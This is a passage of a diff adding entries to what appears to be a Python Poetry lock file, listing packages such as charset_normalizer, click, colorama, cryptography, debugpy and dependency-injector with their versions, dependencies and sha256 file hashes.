+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"},
+ {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"},
+]
+
+[[package]]
+name = "click"
+version = "8.1.3"
+description = "Composable command line interface toolkit"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"},
+ {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[[package]]
+name = "cognitive-complexity"
+version = "1.3.0"
+description = "Library to calculate Python functions cognitive complexity via code"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "cognitive_complexity-1.3.0.tar.gz", hash = "sha256:a0cfbd47dee0b19f4056f892389f501694b205c3af69fb703cc744541e03dde5"},
+]
+
+[package.dependencies]
+setuptools = "*"
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+description = "Cross-platform colored terminal text."
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
+files = [
+ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
+ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
+]
+
+[[package]]
+name = "cryptography"
+version = "40.0.2"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_universal2.whl", hash = "sha256:8f79b5ff5ad9d3218afb1e7e20ea74da5f76943ee5edb7f76e56ec5161ec782b"},
+ {file = "cryptography-40.0.2-cp36-abi3-macosx_10_12_x86_64.whl", hash = "sha256:05dc219433b14046c476f6f09d7636b92a1c3e5808b9a6536adf4932b3b2c440"},
+ {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4df2af28d7bedc84fe45bd49bc35d710aede676e2a4cb7fc6d103a2adc8afe4d"},
+ {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dcca15d3a19a66e63662dc8d30f8036b07be851a8680eda92d079868f106288"},
+ {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:a04386fb7bc85fab9cd51b6308633a3c271e3d0d3eae917eebab2fac6219b6d2"},
+ {file = "cryptography-40.0.2-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:adc0d980fd2760c9e5de537c28935cc32b9353baaf28e0814df417619c6c8c3b"},
+ {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d5a1bd0e9e2031465761dfa920c16b0065ad77321d8a8c1f5ee331021fda65e9"},
+ {file = "cryptography-40.0.2-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a95f4802d49faa6a674242e25bfeea6fc2acd915b5e5e29ac90a32b1139cae1c"},
+ {file = "cryptography-40.0.2-cp36-abi3-win32.whl", hash = "sha256:aecbb1592b0188e030cb01f82d12556cf72e218280f621deed7d806afd2113f9"},
+ {file = "cryptography-40.0.2-cp36-abi3-win_amd64.whl", hash = "sha256:b12794f01d4cacfbd3177b9042198f3af1c856eedd0a98f10f141385c809a14b"},
+ {file = "cryptography-40.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:142bae539ef28a1c76794cca7f49729e7c54423f615cfd9b0b1fa90ebe53244b"},
+ {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:956ba8701b4ffe91ba59665ed170a2ebbdc6fc0e40de5f6059195d9f2b33ca0e"},
+ {file = "cryptography-40.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:4f01c9863da784558165f5d4d916093737a75203a5c5286fde60e503e4276c7a"},
+ {file = "cryptography-40.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3daf9b114213f8ba460b829a02896789751626a2a4e7a43a28ee77c04b5e4958"},
+ {file = "cryptography-40.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:48f388d0d153350f378c7f7b41497a54ff1513c816bcbbcafe5b829e59b9ce5b"},
+ {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c0764e72b36a3dc065c155e5b22f93df465da9c39af65516fe04ed3c68c92636"},
+ {file = "cryptography-40.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:cbaba590180cba88cb99a5f76f90808a624f18b169b90a4abb40c1fd8c19420e"},
+ {file = "cryptography-40.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7a38250f433cd41df7fcb763caa3ee9362777fdb4dc642b9a349721d2bf47404"},
+ {file = "cryptography-40.0.2.tar.gz", hash = "sha256:c33c0d32b8594fa647d2e01dbccc303478e16fdd7cf98652d5b3ed11aa5e5c99"},
+]
+
+[package.dependencies]
+cffi = ">=1.12"
+
+[package.extras]
+docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"]
+docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"]
+pep8test = ["black", "check-manifest", "mypy", "ruff"]
+sdist = ["setuptools-rust (>=0.11.4)"]
+ssh = ["bcrypt (>=3.1.5)"]
+test = ["iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-shard (>=0.1.2)", "pytest-subtests", "pytest-xdist"]
+test-randomorder = ["pytest-randomly"]
+tox = ["tox"]
+
+[[package]]
+name = "debugpy"
+version = "1.6.7"
+description = "An implementation of the Debug Adapter Protocol for Python"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"},
+ {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"},
+ {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"},
+ {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"},
+ {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"},
+ {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"},
+ {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"},
+ {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"},
+ {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"},
+ {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"},
+ {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"},
+ {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"},
+ {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"},
+ {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"},
+ {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"},
+ {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"},
+]
+
+[[package]]
+name = "dependency-injector"
+version = "4.41.0"
+description = "Dependency injection framework for Python"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "dependency-injector-4.41.0.tar.gz", hash = "sha256:939dfc657104bc3e66b67afd3fb2ebb0850c9a1e73d0d26066f2bbdd8735ff9c"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2381a251b04244125148298212550750e6e1403e9b2850cc62e0e829d050ad3"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75280dfa23f7c88e1bf56c3920d58a43516816de6f6ab2a6650bb8a0f27d5c2c"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63bfba21f8bff654a80e9b9d06dd6c43a442990b73bf89cd471314c11c541ec2"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3535d06416251715b45f8412482b58ec1c6196a4a3baa207f947f0b03a7c4b44"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d09c08c944a25dabfb454238c1a889acd85102b93ae497de523bf9ab7947b28a"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:586a0821720b15932addbefb00f7370fbcd5831d6ebbd6494d774b44ff96d23a"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7fa4970f12a3fc95d8796938b11c41276ad1ff4c447b0e589212eab3fc527a90"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-win32.whl", hash = "sha256:d557e40673de984f78dab13ebd68d27fbb2f16d7c4e3b663ea2fa2f9fae6765b"},
+ {file = "dependency_injector-4.41.0-cp310-cp310-win_amd64.whl", hash = "sha256:3744c327d18408e74781bd6d8b7738745ee80ef89f2c8daecf9ebd098cb84972"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:89c67edffe7007cf33cee79ecbca38f48efcc2add5c280717af434db6c789377"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:786f7aac592e191c9caafc47732161d807bad65c62f260cd84cd73c7e2d67d6d"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8b61a15bc46a3aa7b29bd8a7384b650aa3a7ef943491e93c49a0540a0b3dda4"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4f113e5d4c3070973ad76e5bda7317e500abae6083d78689f0b6e37cf403abf"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fa3ed8f0700e47a0e7363f949b4525ffa8277aa1c5b10ca5b41fce4dea61bb9"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:05e15ea0f2b14c1127e8b0d1597fef13f98845679f63bf670ba12dbfc12a16ef"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3055b3fc47a0d6e5f27defb4166c0d37543a4967c279549b154afaf506ce6efc"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-win32.whl", hash = "sha256:37d5954026e3831663518d78bdf4be9c2dbfea691edcb73c813aa3093aa4363a"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-win_amd64.whl", hash = "sha256:f89a507e389b7e4d4892dd9a6f5f4da25849e24f73275478634ac594d621ab3f"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:ac79f3c05747f9724bd56c06985e78331fc6c85eb50f3e3f1a35e0c60f9977e9"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75e7a733b372db3144a34020c4233f6b94db2c6342d6d16bc5245b1b941ee2bd"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40936d9384363331910abd59dd244158ec3572abf9d37322f15095315ac99893"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a31d9d60be4b585585081109480cfb2ef564d3b851cb32a139bf8408411a93a"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:953bfac819d32dc72b963767589e0ed372e5e9e78b03fb6b89419d0500d34bbe"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:8f0090ff14038f17a026ca408a3a0b0e7affb6aa7498b2b59d670f40ac970fbe"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6b29abac56ce347d2eb58a560723e1663ee2125cf5cc38866ed92b84319927ec"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-win32.whl", hash = "sha256:059fbb48333148143e8667a5323d162628dfe27c386bd0ed3deeecfc390338bf"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-win_amd64.whl", hash = "sha256:16de2797dcfcc2263b8672bf0751166f7c7b369ca2ff9246ceb67b65f8e1d802"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c71d30b6708438050675f338edb9a25bea6c258478dbe5ec8405286756a2d347"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d283aee588a72072439e6721cb64aa6cba5bc18c576ef0ab28285a6ec7a9d655"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc852da612c7e347f2fcf921df2eca2718697a49f648a28a63db3ab504fd9510"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:02620454ee8101f77a317f3229935ce687480883d72a40858ff4b0c87c935cce"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7a92680bea1c260e5c0d2d6cd60b0c913cba76a456a147db5ac047ecfcfcc758"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:168334cba3f1cbf55299ef38f0f2e31879115cc767b780c859f7814a52d80abb"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:48b6886a87b4ceb9b9f78550f77b2a5c7d2ce33bc83efd886556ad468cc9c85a"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-win32.whl", hash = "sha256:87be84084a1b922c4ba15e2e5aa900ee24b78a5467997cb7aec0a1d6cdb4a00b"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-win_amd64.whl", hash = "sha256:8b8cf1c6c56f5c18bdbd9f5e93b52ca29cb4d99606d4056e91f0c761eef496dc"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a8686fa330c83251c75c8238697686f7a0e0f6d40658538089165dc72df9bcff"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8d670a844268dcd758195e58e9a5b39fc74bb8648aba99a13135a4a10ec9cfac"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e3b9d41e0eff4c8e16fea1e33de66ff0030fe51137ca530f3c52ce110447914"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33a724e0a737baadb4378f5dc1b079867cc3a88552fcca719b3dba84716828b2"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3588bd887b051d16b8bcabaae1127eb14059a0719a8fe34c8a75ba59321b352c"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:409441122f40e1b4b8582845fdd76deb9dc5c9d6eb74a057b85736ef9e9c671f"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:7dcba8665cafec825b7095d5dd80afb5cf14404450eca3fe8b66e1edbf4dbc10"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-win32.whl", hash = "sha256:8b51efeaebacaf79ef68edfc65e9687699ccffb3538c4a3ab30d0d77e2db7189"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-win_amd64.whl", hash = "sha256:1662e2ef60ac6e681b9e11b5d8b7c17a0f733688916cf695f9540f8f50a61b1e"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:51217cb384b468d7cc355544cec20774859f00812f9a1a71ed7fa701c957b2a7"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3890a12423ae3a9eade035093beba487f8d092ee6c6cb8706f4e7080a56e819"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99ed73b1521bf249e2823a08a730c9f9413a58f4b4290da022e0ad4fb333ba3d"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:300838e9d4f3fbf539892a5a4072851728e23b37a1f467afcf393edd994d88f0"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:56d37b9d2f50a18f059d9abdbea7669a7518bd42b81603c21a27910a2b3f1657"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4a44ca3ce5867513a70b31855b218be3d251f5068ce1c480cc3a4ad24ffd3280"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:67b369592c57549ccdcad0d5fef1ddb9d39af7fed8083d76e789ab0111fc6389"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-win32.whl", hash = "sha256:740a8e8106a04d3f44b52b25b80570fdac96a8a3934423de7c9202c5623e7936"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-win_amd64.whl", hash = "sha256:22b11dbf696e184f0b3d5ac4e5418aeac3c379ba4ea758c04a83869b7e5d1cbf"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b365a8548e9a49049fa6acb24d3cd939f619eeb8e300ca3e156e44402dcc07ec"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5168dc59808317dc4cdd235aa5d7d556d33e5600156acaf224cead236b48a3e8"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e3229d83e99e255451605d5276604386e06ad948e3d60f31ddd796781c77f76f"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1baee908f21190bdc46a65ce4c417a5175e9397ca62354928694fce218f84487"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b37f36ecb0c1227f697e1d4a029644e3eda8dd0f0716aa63ad04d96dbb15bbbb"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b0c9c966ff66c77364a2d43d08de9968aff7e3903938fe912ba49796b2133344"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12e91ac0333e7e589421943ff6c6bf9cf0d9ac9703301cec37ccff3723406332"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2440b32474d4e747209528ca3ae48f42563b2fbe3d74dbfe949c11dfbfef7c4"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54032d62610cf2f4421c9d92cef52957215aaa0bca403cda580c58eb3f726eda"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:76b94c8310929e54136f3cb3de3adc86d1a657b3984299f40bf1cd2ba0bae548"},
